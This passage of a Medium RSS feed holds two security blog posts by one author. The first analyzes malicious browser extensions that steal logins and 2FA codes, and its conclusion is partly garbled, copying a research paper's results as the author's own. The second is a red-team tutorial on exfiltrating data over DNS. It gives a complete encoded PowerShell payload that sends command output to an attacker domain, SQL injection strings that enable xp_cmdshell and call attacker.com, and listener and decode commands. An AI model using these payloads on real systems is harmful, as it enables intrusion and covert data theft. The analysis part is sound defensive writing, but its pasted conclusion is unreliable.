made of electronic hardware components" src="https://cdn-images-1.medium.com/max/770/1*Xp4RcHwOZYdlQJ3IQWPxEQ.png" /><figcaption><em>A Trojan horse made of electronic hardware components</em></figcaption></figure><p>Unfortunately, whenever there is a discovery of a massive data breach there is an immediate and predictable knee-jerk reaction trend that occurs both in private industry and in the government. It is unfortunate because it is indicative of a scrambling, unprepared reactive response rather than a successful proactive cybersecurity approach. Alert notifications renew focus on whatever particular attack vector was exploited. Respectively kill chain approach</p><p>The most recent cyberattack example was no different. It was a classic supply chain cyberattack involving the SolarWinds security product vendor that just happens to have over 300,000 customers around the world. But then again, one wonders how many organizations were truly taking the threat of supply chain attack seriously? The answer may surprise you</p><h4>Supply Chain Attacks Are Not a New Phenomenon !</h4><p>Notwithstanding, per say surely a plethora of undiscovered bugs in software code among others. Some example of supply chain attack for those who are new to cybersecurity</p><ul><li>— 2013 Target point of sale (POS) system hack<br>— 2017 NotPetya targeted Ukraine via a supply chain<br> — Avast’s 2017 CCleaner supply chain attack</li></ul><p>Its worth noting from attacker perspective the following question , Why go in the front door when you can sneak in through the side?</p><p>The intent of this article is not to explain and dissect how SUNBURST TTPs or what digital steganography .</p><blockquote>just because the big news for two months is about supply chain attacks !! I was like it’s a good starting point to link in a browser security and hidden spy !! hell yeah :D</blockquote><p>Interestingly browsers have been abused for malicious tasks such as private information gathering, browsing history retrieval, or password theft — leading to a number of devastating attacks.</p><p>A recent investigative piece by <em>The Washington Post </em>found that up to 4 million people had been leaking personal info via malicious browser extensions.</p><p>And In Summer 2019, the Cybersecurity research firm “DataSpii” discovered eight Firefox and Chrome extensions that were gathering data from millions of users including several Fortune 500 companies.</p><p>Even though , According to Google’s own <a href="https://ai.google/research/pubs/pub43824">figures</a>, over the last few years, nearly 10% of Chrome extension submitted to the store extensions were malware.</p><p>Of course , I would be remiss not mention a major “LastPass” breach that considered to be One of the catastrophic implication in browser extension, a vulnerability was discovered which allow leaks credentials from previous site been visited</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*c3n8-QKckK36LNrPsXcKAA.png" /><figcaption><a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1930">https://bugs.chromium.org/p/project-zero/issues/detail?id=1930</a></figcaption></figure><h3><strong><em>Browser-based threats ;</em></strong></h3><h4><em>Man in the browser attack</em></h4><p>A man-in-the-browser (MitB) attack occurs when an attacker inserts a special type of <a href="https://sectigostore.com/blog/what-is-a-trojan-horse-in-computer-terms/">trojan horse</a> into the users’ web browser via a</p><ul><li>Browser Extension,</li><li>User script</li><li>Browser Helper Object (BHO).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HfUezUxlXIV2u3qtmj0BSg.png" /></figure><ul><li>downloads malware infecting workstations.<br>2- malicious malware infects the workstation browser.<br>3- user access bank website requesting a transaction.<br>4- malware records the transaction request and modify it<br>5- contents are transferred to the hacker.<br>6- The malware changes the transaction receipt to the user requested transaction to remain hidden.</li></ul><p>Man in the browser attacks are committed against individuals and organizations as seen in the supply chain attack (Sunburst) . Per say The most challenging aspect of man in the browser attacks is the time gap. users don’t initially notice anything suspicious. Cause by nature those attacks are not active at first trigger though the malicious code would be activated in due course of time such as new update .</p><h3><strong><em>Malicious Browser Extension :</em></strong></h3><p>Sadly, in recent times extensions have been abused for malicious tasks such as private information gathering, browsing history retrieval, or password theft</p><p>Nevertheless , Data stealing using Browser extension is not new .</p><p>In contrast All modern browser provide security for browser extension on browser level using either “Access Control Settings” or URI Randomization.</p><p>Unfortunately hacker targets extension developers account or the third-party servers e.g. API/resources/sites where these extensions communicate. Once compromised, the extension becomes the information harvest factory.</p><h4><strong><em>How Malicious Browser Extension get Published in the Store !?</em></strong></h4><p>A number of tactics were used for newly submitted extension to pass Google screening and publicly available in the store. Some of the tactics includes choosing and unsuspecting title and Icon, requesting minimum permissions, encrypting payloads etc.</p><p><strong><em>Initially , </em></strong>At the time of publishing these extension to google store , by design harmless on any end user. This shows that attacker can publish a targeted malicious extension bypassing it as legitimate one.</p><p>As cyber threat intelligence specialist , hunting the artifacts around aforementioned <strong>Techniques</strong> and <strong>Tactics</strong> “TTPs” I can assure you ,The various names used to identify specific cyber threat actors are less important than being able to identify and recognize the tell-tale digital fingerprints of a specific group’s malware. False flags in malware code and proxy servers make cyberattack or exploitation attribution far from an exact science. <em>However, it can help when digital forensics investigators compare malware code samples and consider other contributing factors such as political motives and which adversaries are likely to have the technical skill to pull off such an attack.</em></p><p>so we will be addressing a weaponization in the cyber kill chain methodology when it comes to detecting malicious browser extension</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/414/1*fGfgtxc-JqUg-hjbHnTUjA.png" /></figure><p>While extensions/plugins are the most common approach for product owners and end user to extend the functionalities of modern web browsers and even security enthusiast are always in love to use these extensions to help their browsing experience more useful .</p><h4><strong><em>Persistent in the era Malicious Extension</em></strong></h4><blockquote>The dangers of malicious browser extensions</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*VSfzyRMLaTSw1904LsR35Q.png" /></figure><p>While doing my daily threat hunting and pivoting activity, I came across a project that interestingly promises So to speak, I inspected the code behind the plugin — it has a malicious behavior.</p><p>Deep diving into the investigation and analyze the packaging approach Threat actor used .</p><p>below a set of questions when investigating Browser extension ;</p><ul><li>Are they any permission required ?</li><li>What are the external covet channel ? URL , JavaScript</li></ul><h3><strong><em>What permissions does it require?</em></strong></h3><p>When you first install the browser extension it asks for ;</p><ol><li>write access to multiple domains including Github, LocalBitcoins, and more.</li><li>It requests access to all open tabs and your cookies — these permissions are abused a lot to steal your assets from various exchanges and wallet services.</li></ol><p><em>Considering the above indicators and artifacts packed with the extension , What does it do?</em></p><ul><li>in a sentence, it steals all your secrets depending on the domain per say mostly BTC or creds</li></ul><p>Let’s look at the actual execution of malicious activity …<br><strong>Step 1) Harvesting credentials ;</strong></p><p>trigger on a click event on the login button to steal the email and password inputs, store them in LocalStorage and send them to their server in the backend without disrupting the normal login routine from the exchange.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*BagKTTMMbr0rgy7eNctcEQ.png" /></figure><p><strong>Step 2) Stealing 2FA codes</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/1*cvxJhpYRf5yEegC4AEtSPA.png" /></figure><p>it sends the inputted 2FA to their backend along with the email and password stored in LocalStorage and many more logical approach to hijack CSRF as well as payment token ; )</p><h4><strong>From threat intelligence , what did we find ?</strong></h4><ul><li>— The bad actor addresses.<br> — Backend servers and domains.<br> — Russian code comments</li></ul><h4>Three main problems with browser extensions ;</h4><p>1. Browser extension could be created for phishing purposes. In March-April 2020 researchers found malicious campaign, when threat actor set up Ads campaign to promote his phishing extensions, which were able to steal victim’s passphrase for crypto wallets:</p><p>2. Browser extensions can be used for collecting user’s information including all visited websites based on permissions :</p><p>3. Browser extensions can become malicious after compromise of developer or after selling access to another developer or it can be created with malicious purposes. For example, in 2018 Chrome extension for the MEGA.nz file sharing service has been compromised with malicious code that steals users’ credentials and private keys for cryptocurrency accounts ).</p><blockquote>In 2019 researchers found extension in Chrome Web Store that steals credit card data of users, this extension was designed as fake Flash Player .</blockquote><blockquote>In 2019 YouTube Queue extension was compromised with malicious code after it was sold to new developer .</blockquote><blockquote>As we can see, malicious browser extensions can be found not only on GitHub-like websites, but in official marketplaces like Chrome Web Store too. After installation of extension from store, it will be auto-updated with every new version, in the same time one of updates can include malicious code. So to say this will bypass defending techniques</blockquote><h3><strong><em>Toolkit for Analyzing Browser Plugins</em></strong></h3><p>For this purpose there are some open source tools, which can help to analyze the source code of extension:</p><p>— <a href="https://github.com/Tuhinshubhra/ExtAnalysis">https://github.com/Tuhinshubhra/ExtAnalysis</a><br> — <a href="https://github.com/ElevenPaths/neto">https://github.com/ElevenPaths/neto</a></p><p>In order to analyze browser extension without installation , you may require a third party tool to do so . The below website help in downloading the extension from respective sore Google / Firefox</p><p><a href="https://crxcavator.io/">https://crxcavator.io/</a></p><p>=&gt; Following is a non-exhaustive list of analyst approach towards browser extension ;</p><ul><li><strong>Manifest analysis.</strong></li><li><strong>Internal file hashing.</strong></li><li><strong>Entities extraction using regular expressions: IPv4, email, cryptocurrency addresses, URL, etc.</strong></li><li><strong>Comments extraction from HTML, CSS and JS files.</strong></li><li><strong>Cryptojacking detection engine based on known mining domains and expressions.</strong></li><li><strong>Suspicious JavaScript code detection such as eval().</strong></li><li><strong>Certificate analysis if provided.</strong></li><li><strong>Batch analysis of previously downloaded extensions.</strong></li></ul><h4><strong><em>Dissecting Browser Extensions from Archive to Source Code ;</em></strong></h4><p>Before analyzing browser extension , we shall have a quick understanding of file types and file formats along with architectures ;</p><p>First its worth noting that ;</p><p>When an extension is created and signed by Google, it will be given a unique ID that becomes associated with the extension.</p><p>These unique IDs are 32 characters long, such as jifpbeccnghkjeaalbbjmodiffertghyu, To find out which is the extension ID for the Chrome extension .</p><p>In the browser URL tab ; chrome://system/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DggLM9nxJ3cETuDAiCfujg.png" /></figure><h4><strong>Manifest analysis</strong></h4><ul><li>Every extension has a Field summary called Manifest.json which describe the function and basic info about the usage of browser extension</li></ul><p>Every manifest must at least define “permissions” , “Resources “ and other directive for its functionality .</p><p>Noting screen shot below; browser action , content security policy and permissions all are indicators as of now that , the browser extension is suspicious ;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_a3Qdsey2bU_-Kkxs8qPUQ.png" /></figure><p><strong>Internal file hashing : </strong>Scan hash in virus total or other scanning tools</p><p><strong>[-] Architecture </strong>considering a WebEval is a living system which should be understood before taking a step towards file format and extension architecture</p><p>we will consider in general a glance at<strong> System Flow</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*l0rtjtB9zHNX8eSjRuitsg.png" /></figure><p>An extension’s architecture will depend on its functionality, but many robust extensions will include multiple components:</p><ul><li><a href="https://developer.chrome.com/docs/extensions/mv2/tabs/">Manifest</a></li><li><a href="https://developer.chrome.com/docs/extensions/mv2/architecture-overview/#background_script">Background Script</a></li><li><a href="https://developer.chrome.com/docs/extensions/mv2/architecture-overview/#pages">UI Elements</a></li><li><a href="https://developer.chrome.com/docs/extensions/mv2/architecture-overview/#contentScripts">Content Script</a></li><li><a href="https://developer.chrome.com/docs/extensions/mv2/architecture-overview/#optionsPage">Options Page</a></li></ul><p><strong>Background script</strong></p><p>The <a href="https://developer.chrome.com/docs/extensions/mv2/background_pages/">background script</a> is the extension’s event handler; it contains listeners for browser events that are important to the extension. It lies dormant until an event is fired then performs the instructed logic. An effective background script is only loaded when it is needed and unloaded when it goes idle.</p><p>Usually , the definition for background is an evidence for our attention when it comes to malware analysis / investigation and looking for artifacts .</p><p><strong>Entities extraction IPv4, email, URL, etc.</strong></p><ul><li>Crawling around files to find indicator of compromise or malicious URL used by threat actor for command and control</li></ul><p><strong>Inspecting source code from HTML, CSS and JS files.</strong></p><p>Understating the logic will determine if the extension is benign or malicious</p><p>However, noting the script can be modified at any moment on server side and became harmful.</p><h3><strong><em>The progression of Malicious Code Delivery</em></strong></h3><p>in attachment GitHub Repo link ,you can find source code of auto Refresh extension, which was tagged as malicious. In addition, there is Reddit post when this extension was removed from Chrome Web Store: <a href="https://www.reddit.com/r/chrome/comments/gg2nii/auto_refresh_extension_now_malware/">https://www.reddit.com/r/chrome/comments/gg2nii/auto_refresh_extension_now_malware/</a>.</p><p>As you can see in “background.js” file, this extension downloads and executes JS script from remote website hXXps://static.trckingbyte[.]com/, which is not required for its functions. We found two versions of this script:</p><p><a href="https://urlscan.io/responses/e1c1d2b0d2f45c9973ba4a3ef047b4e5e0a90d26f8bca51b74350851e5639652/">https://urlscan.io/responses/e1c1d2b0d2f45c9973ba4a3ef047b4e5e0a90d26f8bca51b74350851e5639652/</a></p><p><a href="https://urlscan.io/responses/41aea411bb389efe06026ea152bac57f8958083fb54bfab34ebf0ca95cc34aac/">https://urlscan.io/responses/41aea411bb389efe06026ea152bac57f8958083fb54bfab34ebf0ca95cc34aac/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*scxtkZaqcX3i91sTZ9_lYQ.png" /><figcaption>GitHub Repository : <a href="https://github.com/AliBawazeEer/Malicious_Extension">https://github.com/AliBawazeEer/Malicious_Extension</a></figcaption></figure><p><strong><em>Does remove the plugin mean the system is safe again? </em></strong>Well , may or may not depending on the question ; wasn’t your computer already compromised ?</p><h4><strong><em>Three Web Attack Vectors Target the Browser</em></strong></h4><p>Three web attack vectors seem to be responsible for the majority of computer attacks that involve a web browser:</p><ul><li>The attack can incorporate an element of social engineering to persuade the victim to take an action that compromises security.</li><li>The attacker can use the browser as a gateway for attacking web applications via techniques such as <a href="http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)">cross-site scripting</a> (XSS), <a href="http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)">Cross-Site Request Forgery</a> (CSRF) and <a href="http://www.owasp.org/index.php/Clickjacking">Clickjacking</a>.</li><li>The attacker can exploit a vulnerability in the web browser or in local software add-in</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/425/1*SLy61f-mR7RcLA79GWokGA.png" /></figure><h3><strong><em>Trends and Lessons for Fighting Malicious Extensions</em></strong></h3><ul><li>Chrome now automatically blocks all extensions not present in the store from installation unless the following flag is set –enable-easy-off-store-extension-install</li><li>Best Prevention is Safe Browsing ; Following are the few steps which can help us in safe browsing:</li><li>Install extensions only from official Web stores. Users should avoid extension installing by clicking on any links or downloading any files they receive via email unless they are absolutely certain that the sender is legitimate.</li><li>Limit on extensions installation. More browser extension can actually degrade computer performance and also open door for harmful activities to outside world.</li><li>Review the permissions carefully that the extensions ask for running. Do think twice before installing the extension or granting any permission post installation. If you see any inconsistency between required permissions and the functionality, should raise a flag and better not to install that extension.</li><li>new permission if there is a change in the extension,</li><li><a href="https://developers.google.com/web/tools/chrome-devtools/network/">Inspect Network Activity In Chrome DevTools</a>. Any network traffic with an unusual URL is probably malicious. Also, avoid the extensions that communicates non-https URLs.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*NRsPFTFeILZF8mGpGVK3cg.jpeg" /></figure><p>despite the symbolism of new beginnings that come with each new year, in the world of digital privacy, we’re still dealing with many of the same battles being fought around privacy as it has always been.</p><p>In conclusion, Over the past years, we have been analyzing and processing a lot of malicious samples. Yet, researcher expose wide-spread efforts by criminals to abuse the Chrome Web Store as a platform for distributing malicious extensions. A central component of our study is the design and implementation of WebEval, the first system that broadly identifies malicious extensions with a concrete, measurable detection rate of 96.5%. Over the last three years we detected 9,523 malicious extensions: nearly 10% of every extension submitted to the store. Despite a short window of operation — we removed 50% of malware within 25 minutes of creation — a handful of under 100 extensions escaped immediate detection and infected over 50 million Chrome users. Our results highlight that the extension abuse ecosystem is drastically different from malicious binaries: miscreants profit from web traffic and user tracking rather than email spam or banking theft that ported 50% of malware within 25 minutes of creation — a handful of under 100 malicious extensions distributed via binary payloads were able to infect nearly 50 million users before removal. We distill these observations into a number of key challenges facing app marketplaces that extend beyond just the Chrome Web Store.</p><p>In summary,;</p><p>• I present a comprehensive view of how malicious extensions in the Chrome Web Store</p><p>•A detail the design and implementation of our security framework that combines dynamic analysis, static analysis, and reputation tracking to detect 96.5% of all known malicious extensions.</p><p>• also highlighted the importance of human experts for reverse engineering</p><ul><li>explore the virulent impact of malicious extensions.</li></ul><h3>References</h3><p><a href="https://blog.sucuri.net/2014/10/threat-introduced-via-browser-extensions.html">https://blog.sucuri.net/2014/10/threat-introduced-via-browser-extensions.html</a><br><a href="https://z3r0trust.medium.com/sunburst-malware-used-digital-steganography-4ece0040bcaa">https://z3r0trust.medium.com/sunburst-malware-used-digital-steganography-4ece0040bcaa</a><br><a href="https://www.phishfort.com/blog/chrome-extension-phishing">https://www.phishfort.com/blog/chrome-extension-phishing</a>.<br><a href="https://twitter.com/sniko_/status/1235345036382003206">https://twitter.com/sniko_/status/1235345036382003206</a>,<br><a href="https://securitywithsam.com/2019/07/dataspii-leak-via-browser-extensions/">https://securitywithsam.com/2019/07/dataspii-leak-via-browser-extensions/</a>.<br>(<a href="https://www.zdnet.com/article/mega-nz-chrome-extension-caught-stealing-passwords-cryptocurrency-private-keys/">https://www.zdnet.com/article/mega-nz-chrome-extension-caught-stealing-passwords-cryptocurrency-private-keys/</a><br>(<a href="https://business.blogthinkbig.com/chrome-extension-card-cybersecurity/">https://business.blogthinkbig.com/chrome-extension-card-cybersecurity/</a>).<br>(<a href="https://www.reddit.com/r/chrome/comments/bxxi17/youtube_queue_extension_malware/">https://www.reddit.com/r/chrome/comments/bxxi17/youtube_queue_extension_malware/</a>).<br><a href="https://developer.chrome.com/docs/extensions/mv2/architecture-overview/">https://developer.chrome.com/docs/extensions/mv2/architecture-overview/</a><br><a href="https://securitywithsam.com/2019/07/dataspii-leak-via-browser-extensions/">https://securitywithsam.com/2019/07/dataspii-leak-via-browser-extensions/</a><br><a href="https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/">https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/</a><br><a href="https://docs.google.com/document/d/1vljnTtEHzJMAcjPO46GPJj5ohGKXH8vXBIj-SX2QY30/preview">https://docs.google.com/document/d/1vljnTtEHzJMAcjPO46GPJj5ohGKXH8vXBIj-SX2QY30/preview</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8cca18cd1a31" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PowerShell — Data Ex-filtration over DNS (OOB)]]></title>
            <link>https://abawazeeer.medium.com/powershell-data-ex-filtration-over-dns-oob-9efcd5ed249f?source=rss-6a8a3102f063------2</link>
            <guid isPermaLink="false">https://medium.com/p/9efcd5ed249f</guid>
            <category><![CDATA[powershell-script]]></category>
            <category><![CDATA[dns]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[bypassing]]></category>
            <category><![CDATA[pentester]]></category>
            <dc:creator><![CDATA[AliBawazeEer]]></dc:creator>
            <pubDate>Mon, 17 Aug 2020 11:39:58 GMT</pubDate>
            <atom:updated>2020-08-17T11:39:58.432Z</atom:updated>
            <content:encoded><![CDATA[<h3>PowerShell — Data Ex-filtration over DNS (OOB)</h3><p>increasingly, companies considering security a top priority and ex-filtration of data are more restricted.</p><p>The OOB techniques often useful in a blind vulnerability , as an attacker you don’t get the output of exploit in direct response , for instance in a web-app vulnerable to blind injection . an attacker require a entity to generate an outbound TCP/UDP/ICMP request and that will then allow an attacker to exfiltrate data</p><p>For this purpose , as an attacker utilizing a built in system tool with less privileges and one-liner payloads to achieve malicious objective.</p><p>The DNS protocol is an excellent channel. It is Less monitored in comparison to other Internet protocols like . HTTP, FTP for posing a lesser risk. Thus, it has higher chance of bypassing egress filtering</p><blockquote>Egress filtering: <em>is the practice of monitoring and potentially restricting the flow of information outbound from one network to another</em></blockquote><p><strong>Challenges</strong></p><ul><li>The DNS protocol restricts queries (i.e. outbound messages) to 255 bytes of letters, digits, and hyphens</li><li>DNS protocol is used mostly over the User Datagram Protocol (UDP), there is no guarantee that queries will be replied based on their order of arrival</li><li>Maximum length of Subdomain label is 63 characters Overcoming previous challenges Generic process for DNS Ex-filtration.</li></ul><p>Overcoming previous challenges Generic process for DNS Ex-filtration</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*ow86ZoMFLN0T-soK-LR6fg.png" /><figcaption>DNS Ex-filtration</figcaption></figure><p><strong>Payload in parts;</strong></p><p>The payload created is as shown below. It will send output of ipconfig over DNS to dnspent​.redacted.com</p><blockquote>cmd /v /c ipconfig &gt; C:\Windows\Temp\output70 &amp;&amp; certutil -encodehex -f C:\Windows\Temp\output70 C:\Windows\Temp\output70.hex 4 &amp;&amp; powershell.exe -exec bypass -enc JAB0AGUAeAB0AD0ARwBlAHQALQBDAG8AbgB0AGUAbgB0ACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABvAHUAdABwAHUAdAA3ADAALgBoAGUAeAA7ACQAcwB1AGIAZABvAG0AYQBpAG4APQAkAHQAZQB4AHQALgByAGUAcABsAGEAYwBlACgAIgAgACIALAAiACIAKQA7ACQAagA9ADEAMQAxADEAMQA7AGYAbwByAGUAYQBjAGgAKAAkAGkAIABpAG4AIAAkAHMAdQBiAGQAbwBtAGEAaQBuACkAewAgACQAZgBpAG4AYQBsAD0AJABqAC4AdABvAHMAdAByAGkAbgBnACgAKQArACIALgAiACsAJABpACsAIgAuAGYAaQBsAGUALgB1AHMAZQByADcAMAAuAHcAZQBiAGgAYQBjAGsAbABhAGIALgBjAG8AbQAiADsAJABqACAAKwA9ACAAMQA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBvAE4AZQB3AFcAaQBuAGQAbwB3ACAAbgBzAGwAbwBvAGsAdQBwACAAJABmAGkAbgBhAGwAIAB9AA==</blockquote><p>[#] Let’s understand the payload in parts:</p><blockquote>cmd /v /c “ipconfig &gt; C:\Windows\Temp\outab &amp;&amp; certutil -encodehex -f C:\Windows\Temp\outab C:\Windows\Temp\outab.hex 4</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ze9qvm4t2lySeSaqbyVVlg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/1*dew7BNMj8HORrdLTz6tfBA.png" /><figcaption>output in hex format</figcaption></figure><p>above command write the output to a file, then hexencode it with ‘certutil’ in a specific format (in columns with spaces, without the characters and the addresses), and is represented by code 4.</p><blockquote>This will be the Hex value you can decode it using: <a href="https://gchq.github.io/CyberChef">https://gchq.github.io/CyberChef </a>“ HEX”</blockquote><p><strong>Second part: </strong>​It will run a PowerShell script in Base64 encoded format to avoid breaking syntax when its injected in web app due to escaping or breaking SQL query. This script will read the hex encoded output file, break the content into chunks and then generate DNS queries in specific format i.e.</p><blockquote>powershell.exe -exec bypass -enc JAB0AGUAeAB0AD0ARwBlAHQALQBDAG8AbgB0AGUAbgB0ACAAQwA6AFwAVQBzAGUAcgBzAFwASQBSAEgAUABcAEQAZQBzAGsAdABvAHAAXABvAHUAdABwAHUAdAA3ADAALgBoAGUAeAA7ACQAcwB1AGIAZABvAG0AYQBpAG4APQAkAHQAZQB4AHQALgByAGUAcABsAGEAYwBlACgAIgAgACIALAAiACIAKQA7ACQAagA9ADEAMQAxADEAMQA7AGYAbwByAGUAYQBjAGgAKAAkAGkAIABpAG4AIAAkAHMAdQBiAGQAbwBtAGEAaQBuACkAewAgACQAZgBpAG4AYQBsAD0AJABqAC4AdABvAHMAdAByAGkAbgBnACgAKQArACIALgAiACsAJABpACsAIgAuAGYAaQBsAGUALgBkAG4AcwBwAGUAbgAuAGEAdAB0AGEAYwBrAGUAcgAuAGMAbwBtACIAOwAkAGoAIAArAD0AIAAxADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBOAG8ATgBlAHcAVwBpAG4AZABvAHcAIABuAHMAbABvAG8AawB1AHAAIAAkAGYAaQBuAGEAbAAgAH0A</blockquote><p><strong>Plain Script:</strong></p><blockquote>$text=Get-Content C:\Windows\Temp\output70.hex;$subdomain=$text.replace(“ “,””);$j=11111;foreach($i in $subdomain){ $final=$j.tostring()+”.”+$i+”.file.dnspen.redacted.com”;$j += 1; Start-Process -NoNewWindow nslookup $final }</blockquote><p>Note: This is not a normal base64 encoder! converts the string to UTF-16LE first before encoding, as that is what PowerShell expects! To execute</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XxiUgb8WrJZ0sFcTbVO3_w.png" /><figcaption>encoding PowerShell</figcaption></figure><p>Powershell.exe -exec bypass -enc {$encoded_script}</p><p>cmd:&gt;cmd /v /c “ipconfig &gt; C:\Users\IRHP\Desktop\output70 &amp;&amp; certutil -encodehex -f C:\Users\IRHP\Desktop\output70 C:\Users\IRHP\Desktop\output70.hex 4 &amp;&amp; powershell -exec bypass -enc JAB0AGUAeAB0AD0ARwBlAHQALQBDAG8AbgB0AGUAbgB0ACAAQwA6AFwAVQBzAGUAcgBzAFwASQBSAEgAUABcAEQAZQBzAGsAdABvAHAAXABvAHUAdABwAHUAdAA3ADAALgBoAGUAeAA7ACQAcwB1AGIAZABvAG0AYQBpAG4APQAkAHQAZQB4AHQALgByAGUAcABsAGEAYwBlACgAIgAgACIALAAiACIAKQA7ACQAagA9ADEAMQAxADEAMQA7AGYAbwByAGUAYQBjAGgAKAAkAGkAIABpAG4AIAAkAHMAdQBiAGQAbwBtAGEAaQBuACkAewAgACQAZgBpAG4AYQBsAD0AJABqAC4AdABvAHMAdAByAGkAbgBnACgAKQArACIALgAiACsAJABpACsAIgAuAGYAaQBsAGUALgBkAG4AcwBwAGUAbgAuAGEAdAB0AGEAYwBrAGUAcgAuAGMAbwBtACIAOwAkAGoAIAArAD0AIAAxADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBOAG8ATgBlAHcAVwBpAG4AZABvAHcAIABuAHMAbABvAG8AawB1AHAAIAAkAGYAaQBuAGEAbAAgAH0A</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RRGqiZ7JRv6700OzKz_HVw.png" /><figcaption>Hex-Encoded</figcaption></figure><p><strong>Data Ex-filtration over DNS via SQLi</strong></p><p>when exploiting blind injection or second order &lt;SQL injection&gt;</p><p>Exploit this further to Retrieve the data using out-of-band (OOB) channels — DNS.</p><p>Start a DNS listener on your Kali</p><p>In order to execute command in SQL server via web app vulnerable to SQL injection you need to ensure xp_cmdshell is enabled in the backend.</p><p>Below is a second order SQL injection which value filled in secure update profile</p><blockquote>‘;exec sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC<br>sp_configure ‘xp_cmdshell’, 1;RECONFIGURE; —</blockquote><blockquote>‘;exec master..xp_cmdshell ‘cmd.exe /c nslookup ​tester​.dnspen​X​.attacker.com’; —</blockquote><p><strong>Exploitation ;</strong></p><p>Start DNS listener to save output in file when doing ex-filtration</p><p>As there is a limit on size and type of data that can be sent over DNS channels, we need to used above created payload that will encode the output, break it into chunks and then send it over the DNS channel with sequence numbers appended to them</p><p>Once the OOB calls are received, the output can be sorted with the help of sequence numbers as UDP packets do not have an arrival order</p><p>root@Kali:~# tcpdump -n udp port 53 -i any | tee oob.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BRVvVJ-kvvZ4T9dLK0Wh8w.png" /></figure><p><strong>Extract plain-text data from file</strong></p><p>root@Kali:~# egrep -o ‘[0–9]{5}+\.+[0–9a-fA-F]{0,62}’ <strong>oob.txt</strong>|sort -u|cut -d. -f2|xxd -r -p</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4ea2vQydk42s2NejBlkgOg.png" /></figure><p><strong>References ;</strong></p><p><a href="https://github.com/lukebaggett/dnscat2-powershell/blob/master/dnscat2.ps1">https://github.com/lukebaggett/dnscat2-powershell/blob/master/dnscat2.ps1</a><br><a href="https://github.com/Arno0x/DNSExfiltrator">https://github.com/Arno0x/DNSExfiltrator</a><br><a href="https://pentest.blog/data-ex-filtration-with-dns-in-sqli-attacks/">https://pentest.blog/data-ex-filtration-with-dns-in-sqli-attacks/</a><a href="https://isc.sans.edu/forums/diary/Exfiltrating+data+from+very+isolated+environments/23645/">https://isc.sans.edu/forums/diary/Exfiltrating+data+from+very+isolated+environments/23645/</a><br><a href="https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/">https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/</a><br><a href="https://adsecurity.org/?p=478">https://adsecurity.org/?p=478</a><br><a href="https://raikia.com/tool-powershell-encoder/">https://raikia.com/tool-powershell-encoder/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9efcd5ed249f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Simple Executable HTTP Server for pentester]]></title>
            <link>https://abawazeeer.medium.com/simple-executable-http-server-for-pentester-cfee35f718a9?source=rss-6a8a3102f063------2</link>
            <guid isPermaLink="false">https://medium.com/p/cfee35f718a9</guid>
            <category><![CDATA[http-server]]></category>
            <category><![CDATA[pentester]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[file-transfer]]></category>
            <dc:creator><![CDATA[AliBawazeEer]]></dc:creator>
            <pubDate>Mon, 22 Oct 2018 19:20:06 GMT</pubDate>
            <atom:updated>2018-10-22T19:21:46.500Z</atom:updated>
